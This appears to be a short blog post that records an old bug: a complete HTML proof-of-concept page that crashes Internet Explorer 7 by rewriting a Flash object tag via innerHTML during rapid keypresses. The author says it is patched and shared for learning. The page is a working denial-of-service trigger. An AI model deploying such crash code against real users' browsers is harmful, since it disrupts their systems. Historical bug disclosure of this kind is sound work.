A quick one. Writing a Flash <object> or <embed> tag into the DOM via innerHTML during the ONKEYPRESS event would crash IE7 if the key was pressed quickly enough — typically two or three rapid keypresses, or just holding a key down for a second.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>DoS_innerHTML_Flash_ONKEYPRESS</title></head>

<body>
<center>
<h2>DoS_innerHTML_Flash_ONKEYPRESS</h2>
<p>
<b>Bug:</b> if we write a Flash tag (OBJECT || EMBED) when the ONKEYPRESS event is fired, the Browser [IE7] will crash.
The event must be fired three or four times <u>quickly</u>.<br /><br />
To repro this bug, type anything (quickly!) in the input below or simply press a key and make sure to keep it pressed.</p>

<input id="oInput" onkeypress="writeFlash();" size="30"><br /><br />
<div id="wrapper"><br />
Every time you press a key inside the textbox above, the contents of this DIV will be overwritten with a flash object tag.
Keep the key pressed for one or two seconds until the browser crashes.
</div>
<br />
As crazy as it sounds, it does not work with other events like KEYDOWN, KEYUP, MOUSEMOVE, etc.
<br />

<br />
Tested on <b>IE7 and Flash 9.0.124.0</b>. It did not repro on IE8 Beta2.<br />

<script language="JavaScript">
function writeFlash()
{
	//	The movie source of this flash is "emptyflash.swf" but it could be any file as long as it loads something.
	wrapper.innerHTML =	'<object style="border: solid 1px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100"' +
						'codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">' +
						'<param name="movie" value="emptyflash.swf" /></object>';

	//	Alternative using the EMBED tag. It also works.
	//	wrapper.innerHTML =	'<embed src="emptyflash.swf" quality="high" bgcolor="#ffffff" width="100" height="100" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
}
oInput.focus();
</script>
</center>
</body>
</html>

The crash was specific to ONKEYPRESS — KEYDOWN, KEYUP, and MOUSEMOVE did not trigger it, which made it an interesting timing bug in how the Flash plugin interacted with IE7’s event handling during rapid DOM replacement. The EMBED variant also worked. It did not reproduce on IE8 Beta2. Tested on IE7 with Flash 9.0.124.0.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.